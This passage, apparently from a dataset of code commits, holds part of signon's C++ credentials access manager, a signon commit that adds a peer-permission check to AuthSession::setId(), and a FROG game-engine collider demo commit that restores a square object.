(!fileSystemDeployed()) {\n                if (deployCredentialsSystem()) {\n                    if (openDB(dbPath))\n                        m_systemOpened = true;\n                }\n                return m_systemOpened;\n            }\n\n            if (fileSystemLoaded()) {\n                m_error = CredentialsDbAlreadyDeployed;\n                return false;\n            }\n\n            if (!m_pCryptoFileSystemManager->mountFileSystem()) {\n                m_error = CredentialsDbMountFailed;\n                return false;\n            }\n        }\n    } else {\n        QFileInfo fInfo(m_CAMConfiguration.m_dbFileSystemPath);\n        QDir storageDir = fInfo.dir();\n        if (!storageDir.exists()) {\n            if (!storageDir.mkpath(storageDir.path()))\n                BLAME() << \"Could not create storage directory!!!\";\n        }\n\n        dbPath = storageDir.path()\n                 + QDir::separator()\n                 + m_CAMConfiguration.m_dbName;\n    }\n\n    TRACE() << \"Database name: [\" << dbPath << \"]\";\n\n    if (openDB(dbPath)) {\n        m_systemOpened = true;\n        m_error = NoError;\n    }\n\n    return m_systemOpened;\n}\n\nbool CredentialsAccessManager::openCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    if (m_CAMConfiguration.m_useEncryption && !m_accessCodeFetched) {\n        m_error = AccessCodeNotReady;\n        return false;\n    }\n\n    return openCredentialsSystemPriv(true);\n}\n\nbool CredentialsAccessManager::closeCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    closeDB();\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->unmountFileSystem()) {\n            m_error = CredentialsDbUnmountFailed;\n            return false;\n        }\n    }\n\n    m_error = NoError;\n    m_systemOpened = false;\n    return true;\n}\n\nbool CredentialsAccessManager::deleteCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    if (m_systemOpened && !closeCredentialsSystem()) {\n        \/* The close operation failed: we cannot proceed *\/\n        return false;\n    }\n\n    m_error = NoError;\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->deleteFileSystem())\n            m_error = CredentialsDbDeletionFailed;\n    } else {\n        QFile dbFile(m_CAMConfiguration.m_dbName);\n        if (dbFile.exists()) {\n            if (!dbFile.remove())\n                m_error = CredentialsDbDeletionFailed;\n        }\n    }\n\n    return m_error == NoError;\n}\n\nbool CredentialsAccessManager::setMasterEncryptionKey(const QByteArray &newKey,\n                                                      const QByteArray &existingKey)\n{\n    if (!m_CAMConfiguration.m_useEncryption)\n        return false;\n\n    \/* Clear this for security reasons - SIM data must not be stored\n       using an deprecated master key\n    *\/\n    m_CAMConfiguration.m_encryptionPassphrase.clear();\n\n    if (!encryptionKeyCanMountFS(existingKey)) {\n        BLAME() << \"Existing lock code check failed.\";\n        return false;\n    }\n\n    if (!m_pCryptoFileSystemManager->addEncryptionKey(\n            newKey, existingKey)) {\n        BLAME() << \"Failed to add new device lock code.\";\n        return false;\n    }\n\n    if (!m_pCryptoFileSystemManager->removeEncryptionKey(existingKey, newKey)) {\n        BLAME() << \"Failed to remove old device lock code.\";\n        return false;\n    }\n\n    return true;\n}\n\nbool CredentialsAccessManager::lockSecureStorage(const QByteArray &lockData)\n{\n    \/\/ TODO - implement this, research how to.\n    Q_UNUSED(lockData)\n    return false;\n}\n\nCredentialsDB *CredentialsAccessManager::credentialsDB() const\n{\n    RETURN_IF_NOT_INITIALIZED(NULL);\n\n    return m_pCredentialsDB;\n}\n\nbool CredentialsAccessManager::deployCredentialsSystem()\n{\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->setupFileSystem()) {\n            m_error = CredentialsDbSetupFailed;\n            return false;\n        }\n    }\n    return true;\n}\n\nbool CredentialsAccessManager::fileSystemLoaded(bool checkForDatabase)\n{\n    if (!m_pCryptoFileSystemManager->fileSystemMounted())\n        return false;\n\n    if (checkForDatabase\n        && !m_pCryptoFileSystemManager->fileSystemContainsFile(m_CAMConfiguration.m_dbName))\n        return false;\n\n    return true;\n}\n\nbool CredentialsAccessManager::fileSystemDeployed()\n{\n    return QFile::exists(m_pCryptoFileSystemManager->fileSystemPath());\n}\n\nbool CredentialsAccessManager::openDB(const QString &databaseName)\n{\n    m_pCredentialsDB = new CredentialsDB(databaseName);\n\n    if (!m_pCredentialsDB->connect()) {\n        TRACE() << SqlDatabase::errorInfo(m_pCredentialsDB->error(false));\n        m_error = CredentialsDbConnectionError;\n        return false;\n    }\n    TRACE() <<  \"Database connection succeeded.\";\n\n    if (!m_pCredentialsDB->hasTableStructure()) {\n        TRACE() << \"Creating SQL table structure...\";\n        if (!m_pCredentialsDB->createTableStructure()) {\n            TRACE() << SqlDatabase::errorInfo(m_pCredentialsDB->error());\n            m_error = CredentialsDbSqlError;\n            return false;\n        }\n    } else {\n        TRACE() << \"SQL table structure already created...\";\n    }\n\n    TRACE() << m_pCredentialsDB->sqlDBConfiguration();\n\n    return true;\n}\n\nbool CredentialsAccessManager::encryptionKeyCanMountFS(const QByteArray &key)\n{\n    if (!fileSystemDeployed()) {\n        TRACE() << \"Secure FS not deployed\";\n        return false;\n    }\n\n    if (m_pCryptoFileSystemManager->encryptionKeyInUse(key)) {\n        TRACE() << \"SIM data already in use.\";\n        if (m_pCryptoFileSystemManager->fileSystemMounted()) {\n\n            m_pCryptoFileSystemManager->setEncryptionKey(key);\n\n            if (!credentialsSystemOpened()) {\n                if (openCredentialsSystemPriv(false)) {\n                    TRACE() << \"Credentials system opened.\";\n                } else {\n                    BLAME() << \"Failed to open credentials system.\";\n                }\n            } else {\n                TRACE() << \"Credentials system already opened.\";\n            }\n        }\n        return true;\n    } else {\n        return false;\n    }\n}\n\nvoid CredentialsAccessManager::closeDB()\n{\n    if (m_pCredentialsDB) {\n        m_pCredentialsDB->disconnect();\n        delete m_pCredentialsDB;\n        m_pCredentialsDB = NULL;\n    }\n}\n\nvoid CredentialsAccessManager::onKeyInserted(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    if (key.isEmpty()) return;\n\n    \/* The `key in use` check will attempt to mount using the new key if\n       the file system is not already mounted\n    *\/\n    if (encryptionKeyCanMountFS(key)) {\n        TRACE() << \"SIM data already in use.\";\n        authorizedKeys << key;\n        return;\n    }\n\n    \/* We got here because the inserted key is totally new to the CAM.\n     * Let's see if any key manager wants to authorize it: we call\n     * authorizeKey() on each of them, and continue processing the key when\n     * the keyAuthorized() signal comes.\n     *\/\n    foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n        keyManager->authorizeKey(key);\n    }\n}\n\nvoid CredentialsAccessManager::onKeyDisabled(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    if (authorizedKeys.removeAll(key) == 0) {\n        TRACE() << \"Key was already disabled\";\n        return;\n    }\n\n    if (authorizedKeys.isEmpty()) {\n        TRACE() << \"All keys removed, closing secure storage.\";\n        if (credentialsSystemOpened())\n            if (!closeCredentialsSystem())\n                BLAME() << \"Error occurred while closing secure storage.\";\n\n        TRACE() << \"Querying for keys.\";\n        foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n            keyManager->queryKeys();\n        }\n    }\n}\n\nvoid CredentialsAccessManager::onKeyRemoved(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    \/\/ Make sure the key is disabled:\n    onKeyDisabled(key);\n\n    if (!encryptionKeyCanMountFS(key)) {\n        TRACE() << \"Key is not known to the CryptoManager.\";\n        return;\n    }\n\n    if (authorizedKeys.isEmpty()) {\n        BLAME() << \"Cannot remove key: no authorized keys\";\n        return;\n    }\n\n    SignOn::Key authorizedKey = authorizedKeys.first();\n    if (!m_pCryptoFileSystemManager->removeEncryptionKey(key, authorizedKey)) {\n        BLAME() << \"Failed to remove key.\";\n    } else {\n        TRACE() << \"Key successfully removed.\";\n    }\n}\n\nvoid CredentialsAccessManager::onKeyAuthorized(const SignOn::Key key,\n                                               bool authorized)\n{\n    TRACE() << \"Key:\" << key.toHex() << \"Authorized:\" << authorized;\n\n    if (!authorized) return;\n\n    if (encryptionKeyCanMountFS(key)) {\n        TRACE() << \"Encryption key already in use.\";\n        authorizedKeys << key;\n        return;\n    }\n\n    if (m_pCryptoFileSystemManager->fileSystemMounted()) {\n        \/* if the secure FS is already mounted, add the new key to it *\/\n        if (authorizedKeys.isEmpty()) {\n            BLAME() << \"No authorized keys: cannot add new key\";\n            return;\n        }\n\n        SignOn::Key authorizedKey = authorizedKeys.first();\n        if (m_pCryptoFileSystemManager->addEncryptionKey(key, authorizedKey)) {\n            TRACE() << \"Encryption key successfullyadded into the CryptoManager.\";\n            m_pCryptoFileSystemManager->setEncryptionKey(key);\n            authorizedKeys << key;\n        } else {\n            BLAME() << \"Could not store encryption key.\";\n        }\n    } else if (!fileSystemDeployed()) {\n        \/* if the secure FS does not exist, create it and use this new key to\n         * initialize it *\/\n        m_pCryptoFileSystemManager->setEncryptionKey(key);\n        m_accessCodeFetched = true;\n        if (openCredentialsSystemPriv(true)) {\n            authorizedKeys << key;\n        } else {\n            BLAME() << \"Couldn't create the secure FS\";\n        }\n    } else {\n        BLAME() << \"Secure FS already created with another set of keys\";\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of signon\n *\n * Copyright (C) 2009-2010 Nokia Corporation.\n *\n * Contact: Alberto Mardegan <alberto.mardegan@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#include \"signonauthsessionadaptor.h\"\n#include \"accesscontrolmanager.h\"\n\nnamespace SignonDaemonNS {\n\n    SignonAuthSessionAdaptor::SignonAuthSessionAdaptor(SignonAuthSession *parent) : QDBusAbstractAdaptor(parent)\n    {\n        setAutoRelaySignals(true);\n    }\n\n    SignonAuthSessionAdaptor::~SignonAuthSessionAdaptor()\n    {\n    }\n\n    void SignonAuthSessionAdaptor::errorReply(const QString &name,\n                                              const QString &message)\n    {\n        QDBusMessage errReply =\n            static_cast<QDBusContext *>(parent())->message().createErrorReply(name, message);\n        SIGNOND_BUS.send(errReply);\n    }\n\n    QStringList SignonAuthSessionAdaptor::queryAvailableMechanisms(const QStringList &wantedMechanisms)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"queryAvailableMechanisms called from peer that doesn't own the AuthSession object\\n\";\n            QString errMsg;\n            QTextStream(&errMsg) << SIGNOND_PERMISSION_DENIED_ERR_STR\n                                 << \" Authentication session owned by other process.\";\n            errorReply(SIGNOND_PERMISSION_DENIED_ERR_NAME, errMsg);\n            return QStringList();\n        }\n\n        return parent()->queryAvailableMechanisms(wantedMechanisms);\n    }\n\n    QVariantMap SignonAuthSessionAdaptor::process(const QVariantMap &sessionDataVa, const QString &mechanism)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"process called from peer that doesn't own the AuthSession object\\n\";\n            QString errMsg;\n            QTextStream(&errMsg) << SIGNOND_PERMISSION_DENIED_ERR_STR\n                                 << \" Authentication session owned by other process.\";\n            errorReply(SIGNOND_PERMISSION_DENIED_ERR_NAME, errMsg);\n            return QVariantMap();\n        }\n\n        return parent()->process(sessionDataVa, mechanism);\n    }\n\n    void SignonAuthSessionAdaptor::cancel()\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"cancel called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n\n        parent()->cancel();\n    }\n\n    void SignonAuthSessionAdaptor::setId(quint32 id)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"setId called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n\n        parent()->setId(id);\n    }\n\n    void SignonAuthSessionAdaptor::objectUnref()\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"objectUnref called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n\n        parent()->objectUnref();\n    }\n\n} \/\/namespace SignonDaemonNS\n<commit_msg>AuthSession: restrict setId() usage<commit_after>\/*\n * This file is part of signon\n *\n * Copyright (C) 2009-2010 Nokia Corporation.\n *\n * Contact: Alberto Mardegan <alberto.mardegan@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#include \"signonauthsessionadaptor.h\"\n#include \"accesscontrolmanager.h\"\n\nnamespace SignonDaemonNS {\n\n    SignonAuthSessionAdaptor::SignonAuthSessionAdaptor(SignonAuthSession *parent) : QDBusAbstractAdaptor(parent)\n    {\n        setAutoRelaySignals(true);\n    }\n\n    SignonAuthSessionAdaptor::~SignonAuthSessionAdaptor()\n    {\n    }\n\n    void SignonAuthSessionAdaptor::errorReply(const QString &name,\n                                              const QString &message)\n    {\n        QDBusMessage errReply =\n            static_cast<QDBusContext *>(parent())->message().createErrorReply(name, message);\n        SIGNOND_BUS.send(errReply);\n    }\n\n    QStringList SignonAuthSessionAdaptor::queryAvailableMechanisms(const QStringList &wantedMechanisms)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"queryAvailableMechanisms called from peer that doesn't own the AuthSession object\\n\";\n            QString errMsg;\n            QTextStream(&errMsg) << SIGNOND_PERMISSION_DENIED_ERR_STR\n                                 << \" Authentication session owned by other process.\";\n            errorReply(SIGNOND_PERMISSION_DENIED_ERR_NAME, errMsg);\n            return QStringList();\n        }\n\n        return parent()->queryAvailableMechanisms(wantedMechanisms);\n    }\n\n    QVariantMap SignonAuthSessionAdaptor::process(const QVariantMap &sessionDataVa, const QString &mechanism)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"process called from peer that doesn't own the AuthSession object\\n\";\n            QString errMsg;\n            QTextStream(&errMsg) << SIGNOND_PERMISSION_DENIED_ERR_STR\n                                 << \" Authentication session owned by other process.\";\n            errorReply(SIGNOND_PERMISSION_DENIED_ERR_NAME, errMsg);\n            return QVariantMap();\n        }\n\n        return parent()->process(sessionDataVa, mechanism);\n    }\n\n    void SignonAuthSessionAdaptor::cancel()\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"cancel called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n\n        parent()->cancel();\n    }\n\n    void SignonAuthSessionAdaptor::setId(quint32 id)\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"setId called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n        if (!AccessControlManager::isPeerAllowedToUseIdentity(\n                                        dbusContext, id)) {\n            TRACE() << \"setId called with an identifier the peer is not allowed to use\";\n            return;\n        }\n\n        parent()->setId(id);\n    }\n\n    void SignonAuthSessionAdaptor::objectUnref()\n    {\n        TRACE();\n\n        QDBusContext &dbusContext = *static_cast<QDBusContext *>(parent());\n        if (AccessControlManager::pidOfPeer(dbusContext) != parent()->ownerPid()) {\n            TRACE() << \"objectUnref called from peer that doesn't own the AuthSession object\\n\";\n            return;\n        }\n\n        parent()->objectUnref();\n    }\n\n} \/\/namespace SignonDaemonNS\n<|endoftext|>"}
{"text":"<commit_before>#include <FROG\/App.hpp>\n#include <FROG\/GameObject.hpp>\n#include <FROG\/Collision\/BoxCollider.hpp>\n#include <FROG\/Collision\/RoundCollider.hpp>\n#include <FROG\/Collision\/LSAP.hpp>\n#include <FROG\/Control.hpp>\n#include <FROG\/Function.hpp>\n\n#include \"Demo_Colliders.hpp\"\n\n#include <SFML\/Window\/Keyboard.hpp>\n#include <SFML\/Graphics\/RectangleShape.hpp>\n\n#include <iostream> \/\/ TODO remove\n\n#define OBJ_DIM 64\n\nusing namespace frog;\n\nMainState::MainState(AppInfo& _appinfo)\n  : Scene(_appinfo), \n    mode(0), \n    collisions(0),\n    obj(new GameObject), \n    obstacle(new GameObject),\n    collider_object(new GameObject)\n{\n}\n\nMainState::~MainState()\n{\n}\n\n\nvoid MainState::enter()\n{\n  initObj_circle();\n  initCollider();\n  initObstacle();\n  \n  addObject(collider_object);\n  addObject(obj);\n  addObject(obstacle);\n  m_collisionManager.addObject(obj);\n  m_collisionManager.addObject(obstacle);\n  changeMap();\n}\n\n\nvoid MainState::initObj_rectangle()\n{\n  obj->transform->layer = 2;\n  auto ctrl = ControlComponent::create(appInfo.eventList);\n  obj->addComponent(ctrl, \"CONTROL\");\n  createMapping();\n  std::shared_ptr<sf::RectangleShape> r(new sf::RectangleShape(sf::Vector2f(OBJ_DIM, OBJ_DIM) ) );\n  r->setFillColor(sf::Color(255,0,0,100) );\n  r->setOutlineThickness(2);\n  r->setOutlineColor(sf::Color::Black);\n  obj->addComponent( RenderingComponent::create( r ), \"RENDERING\" );\n  obj->getComponent<Transform>(\"TRANSFORM\")->setPosition(100, 70);\n  obj->getComponent<Transform>(\"TRANSFORM\")->setOrigin(OBJ_DIM\/2, OBJ_DIM\/2);  \n  \n  auto collider = BoxCollider::create(sf::Vector2f(OBJ_DIM, OBJ_DIM) );\n  auto collision = [this](Collision c){\n    collisions++;\n    std::cout << \"collisions : \" << collisions << std::endl;\n  };\n  collider->setScript(collision);\n  obj->addComponent( collider, \n                     \"COLLIDER\");\n}\n\nvoid MainState::initObj_circle()\n{\n  obj->transform->layer = 2;\n  auto ctrl = ControlComponent::create(appInfo.eventList);\n  obj->addComponent(ctrl, \"CONTROL\");\n  createMapping();\n  std::shared_ptr<sf::CircleShape> r(new sf::CircleShape(OBJ_DIM) );\n  r->setFillColor(sf::Color(255,0,0,100) );\n  r->setOutlineThickness(2);\n  r->setOutlineColor(sf::Color::Black);\n  obj->addComponent( RenderingComponent::create( r ), \"RENDERING\" );\n  obj->getComponent<Transform>(\"TRANSFORM\")->setPosition(100, 70);\n  obj->getComponent<Transform>(\"TRANSFORM\")->setOrigin(OBJ_DIM, OBJ_DIM);  \n  \n  auto collider = RoundCollider::create(OBJ_DIM);\n  auto collision = [this](Collision c){\n    collisions++;\n    std::cout << \"collisions : \" << collisions << std::endl;\n  };\n  collider->setScript(collision);\n  obj->addComponent( collider, \n                     \"COLLIDER\");\n}\n\nvoid MainState::initCollider()\n{\n  std::shared_ptr<sf::RectangleShape> r2(new sf::RectangleShape(sf::Vector2f(OBJ_DIM, 10) ) );\n  r2->setFillColor(sf::Color::Yellow);\n  collider_object->addComponent( RenderingComponent::create( r2 ), \"RENDERING\" );\n  \/\/  collider_object->transform = obj->transform;\n}\n\nvoid MainState::initObstacle()\n{\n  obstacle->transform->setPosition(20, 40);\n  obstacle->addComponent(BoxCollider::create(sf::Vector2f(20,100)),\n                         \"COLLIDER\");\n  std::shared_ptr<sf::RectangleShape> r(new sf::RectangleShape(sf::Vector2f(20, 100) ) );\n  r->setFillColor(sf::Color::Green);\n  obstacle->addComponent(RenderingComponent::create(r), \"RENDERING\");\n}\n\nvoid MainState::exit()\n{\n  delete mapping_move;\n  delete mapping_resize;\n  delete mapping_rotate;\n}\n\nvoid MainState::preupdate()\n{\n  std::shared_ptr<sf::RectangleShape> rect(new sf::RectangleShape() );\n  rect->setFillColor(sf::Color(0,0,255,100) );\n  try{\n    auto fr = obj->getComponent<BoxCollider>(\"COLLIDER\")->getBoundingBox();\n      rect->setSize( sf::Vector2f(fr.width, fr.height) );\n      rect->setPosition(fr.left, fr.top );\n  }catch(std::logic_error e)\n    {\n      try{\n        auto fr = obj->getComponent<RoundCollider>(\"COLLIDER\")->getBoundingBox();\n        rect->setSize( sf::Vector2f(fr.width, fr.height) );\n        rect->setPosition(fr.left, fr.top );\n      }catch(std::logic_error e)\n        {\n\n        }\n    }\n  \/\/ DON'T DO THAT\n  m_renderer.removeObject(collider_object);\n  collider_object->removeComponent(\"RENDERING\");\n  collider_object->addComponent(RenderingComponent::create(rect),\n                                \"RENDERING\");\n  m_renderer.addObject(collider_object);\n  \/\/\n}\n\nvoid MainState::postupdate()\n{\n  m_collisionManager.update();\n }\n\nvoid MainState::createMapping()\n{\n  mapping_move = new ControlComponent::INPUT_MAP;\n  mapping_resize = new ControlComponent::INPUT_MAP;\n  mapping_rotate = new ControlComponent::INPUT_MAP;\n  auto z_key = KeyboardButton::create(sf::Keyboard::Z);\n  auto q_key = KeyboardButton::create(sf::Keyboard::Q);\n  auto s_key = KeyboardButton::create(sf::Keyboard::S);\n  auto d_key = KeyboardButton::create(sf::Keyboard::D);\n  auto a_key = KeyboardButton::create(sf::Keyboard::A);\n  auto e_key = KeyboardButton::create(sf::Keyboard::E);\n  auto space_key = KeyboardButton::create(sf::Keyboard::Space,\n                                          Trigger::PRESSED);\n  auto resize_x_plus = Resize::create(obj, 0.009, 0);\n  auto resize_x_minus = Resize::create(obj, -0.009, 0);\n  auto resize_y_plus = Resize::create(obj, 0, 0.009);\n  auto resize_y_minus = Resize::create(obj, 0, -0.009);\n  auto move_x_plus = Move::create(obj, 1, 0);\n  auto move_x_minus = Move::create(obj, -1, 0);\n  auto move_y_plus = Move::create(obj, 0, 1);\n  auto move_y_minus = Move::create(obj, 0, -1);\n  auto rot_right = Rotate::create(obj, 1);\n  auto rot_left = Rotate::create(obj, -1);\n  auto changemode = Function::create( [this](){\n      mode = (mode == 2) ? 0 : mode+1;\n      changeMap();\n    });\n  mapping_move->emplace(z_key, move_y_minus);\n  mapping_move->emplace(q_key, move_x_minus);\n  mapping_move->emplace(s_key, move_y_plus);\n  mapping_move->emplace(d_key, move_x_plus);\n  mapping_resize->emplace(z_key, resize_y_plus);\n  mapping_resize->emplace(q_key, resize_x_minus);\n  mapping_resize->emplace(s_key, resize_y_minus);\n  mapping_resize->emplace(d_key, resize_x_plus);\n  mapping_rotate->emplace(e_key, rot_right);\n  mapping_rotate->emplace(a_key, rot_left);\n  auto ctrl = obj->getComponent<ControlComponent>(\"CONTROL\");\n  ctrl->bind(space_key, changemode, 0);\n}\n\nvoid MainState::changeMap()\n{\n  auto ctrl = obj->getComponent<ControlComponent>(\"CONTROL\");\n  std::cout << \"change mode to \";\n  switch(mode)\n    {\n    case 1:\n      ctrl->changeMap(*mapping_resize, 1);\n      std::cout << \"RESIZE : Z,Q,S,D\";\n      break;\n    case 2:\n      ctrl->changeMap(*mapping_rotate, 1);\n      std::cout << \"ROTATE : A,E\";\n      break;\n    default:\n      ctrl->changeMap(*mapping_move, 1);\n      std::cout << \"MOVE : Z,Q,S,D\";\n      break;\n    }\n  std::cout << std::endl;\n}\n\n\n\n\nint main()\n{\n  frog::App demo(\"FROG - Colliders demo\");\n  demo.start( new MainState( demo.appInfo ) );\n}\n<commit_msg>restored square<commit_after>#include <FROG\/App.hpp>\n#include <FROG\/GameObject.hpp>\n#include <FROG\/Collision\/BoxCollider.hpp>\n#include <FROG\/Collision\/RoundCollider.hpp>\n#include <FROG\/Collision\/LSAP.hpp>\n#include <FROG\/Control.hpp>\n#include <FROG\/Function.hpp>\n\n#include \"Demo_Colliders.hpp\"\n\n#include <SFML\/Window\/Keyboard.hpp>\n#include <SFML\/Graphics\/RectangleShape.hpp>\n\n#include <iostream> \/\/ TODO remove\n\n#define OBJ_DIM 64\n\nusing namespace frog;\n\nMainState::MainState(AppInfo& _appinfo)\n  : Scene(_appinfo), \n    mode(0), \n    collisions(0),\n    obj(new GameObject), \n    obstacle(new GameObject),\n    collider_object(new GameObject)\n{\n}\n\nMainState::~MainState()\n{\n}\n\n\nvoid MainState::enter()\n{\n  initObj_rectangle();\n  initCollider();\n  initObstacle();\n  \n  addObject(collider_object);\n  addObject(obj);\n  addObject(obstacle);\n  m_collisionManager.addObject(obj);\n  m_collisionManager.addObject(obstacle);\n  changeMap();\n}\n\n\nvoid MainState::initObj_rectangle()\n{\n  obj->transform->layer = 2;\n  auto ctrl = ControlComponent::create(appInfo.eventList);\n  obj->addComponent(ctrl, \"CONTROL\");\n  createMapping();\n  std::shared_ptr<sf::RectangleShape> r(new sf::RectangleShape(sf::Vector2f(OBJ_DIM, OBJ_DIM) ) );\n  r->setFillColor(sf::Color(255,0,0,100) );\n  r->setOutlineThickness(2);\n  r->setOutlineColor(sf::Color::Black);\n  obj->addComponent( RenderingComponent::create( r ), \"RENDERING\" );\n  obj->getComponent<Transform>(\"TRANSFORM\")->setPosition(100, 70);\n  obj->getComponent<Transform>(\"TRANSFORM\")->setOrigin(OBJ_DIM\/2, OBJ_DIM\/2);  \n  \n  auto collider = BoxCollider::create(sf::Vector2f(OBJ_DIM, OBJ_DIM) );\n  auto collision = [this](Collision c){\n    collisions++;\n    std::cout << \"collisions : \" << collisions << std::endl;\n  };\n  collider->setScript(collision);\n  obj->addComponent( collider, \n                     \"COLLIDER\");\n}\n\nvoid MainState::initObj_circle()\n{\n  obj->transform->layer = 2;\n  auto ctrl = ControlComponent::create(appInfo.eventList);\n  obj->addComponent(ctrl, \"CONTROL\");\n  createMapping();\n  std::shared_ptr<sf::CircleShape> r(new sf::CircleShape(OBJ_DIM) );\n  r->setFillColor(sf::Color(255,0,0,100) );\n  r->setOutlineThickness(2);\n  r->setOutlineColor(sf::Color::Black);\n  obj->addComponent( RenderingComponent::create( r ), \"RENDERING\" );\n  obj->getComponent<Transform>(\"TRANSFORM\")->setPosition(100, 70);\n  obj->getComponent<Transform>(\"TRANSFORM\")->setOrigin(OBJ_DIM, OBJ_DIM);  \n  \n  auto collider = RoundCollider::create(OBJ_DIM);\n  auto collision = [this](Collision c){\n    collisions++;\n    std::cout << \"collisions : \" << collisions << std::endl;\n  };\n  collider->setScript(collision);\n  obj->addComponent( collider, \n                     \"COLLIDER\");\n}\n\nvoid MainState::initCollider()\n{\n  std::shared_ptr<sf::RectangleShape> r2(new sf::RectangleShape(sf::Vector2f(OBJ_DIM, 10) ) );\n  r2->setFillColor(sf::Color::Yellow);\n  collider_object->addComponent( RenderingComponent::create( r2 ), \"RENDERING\" );\n  \/\/  collider_object->transform = obj->transform;\n}\n\nvoid MainState::initObstacle()\n{\n  obstacle->transform->setPosition(20, 40);\n  obstacle->addComponent(BoxCollider::create(sf::Vector2f(20,100)),\n                         \"COLLIDER\");\n  std::shared_ptr<sf::RectangleShape> r(new sf::RectangleShape(sf::Vector2f(20, 100) ) );\n  r->setFillColor(sf::Color::Green);\n  obstacle->addComponent(RenderingComponent::create(r), \"RENDERING\");\n}\n\nvoid MainState::exit()\n{\n  delete mapping_move;\n  delete mapping_resize;\n  delete mapping_rotate;\n}\n\nvoid MainState::preupdate()\n{\n  std::shared_ptr<sf::RectangleShape> rect(new sf::RectangleShape() );\n  rect->setFillColor(sf::Color(0,0,255,100) );\n  try{\n    auto fr = obj->getComponent<BoxCollider>(\"COLLIDER\")->getBoundingBox();\n      rect->setSize( sf::Vector2f(fr.width, fr.height) );\n      rect->setPosition(fr.left, fr.top );\n  }catch(std::logic_error e)\n    {\n      try{\n        auto fr = obj->getComponent<RoundCollider>(\"COLLIDER\")->getBoundingBox();\n        rect->setSize( sf::Vector2f(fr.width, fr.height) );\n        rect->setPosition(fr.left, fr.top );\n      }catch(std::logic_error e)\n        {\n\n        }\n    }\n  \/\/ DON'T DO THAT\n  m_renderer.removeObject(collider_object);\n  collider_object->removeComponent(\"RENDERING\");\n  collider_object->addComponent(RenderingComponent::create(rect),\n                                \"RENDERING\");\n  m_renderer.addObject(collider_object);\n  \/\/\n}\n\nvoid MainState::postupdate()\n{\n  m_collisionManager.update();\n }\n\nvoid MainState::createMapping()\n{\n  mapping_move = new ControlComponent::INPUT_MAP;\n  mapping_resize = new ControlComponent::INPUT_MAP;\n  mapping_rotate = new ControlComponent::INPUT_MAP;\n  auto z_key = KeyboardButton::create(sf::Keyboard::Z);\n  auto q_key = KeyboardButton::create(sf::Keyboard::Q);\n  auto s_key = KeyboardButton::create(sf::Keyboard::S);\n  auto d_key = KeyboardButton::create(sf::Keyboard::D);\n  auto a_key = KeyboardButton::create(sf::Keyboard::A);\n  auto e_key = KeyboardButton::create(sf::Keyboard::E);\n  auto space_key = KeyboardButton::create(sf::Keyboard::Space,\n                                          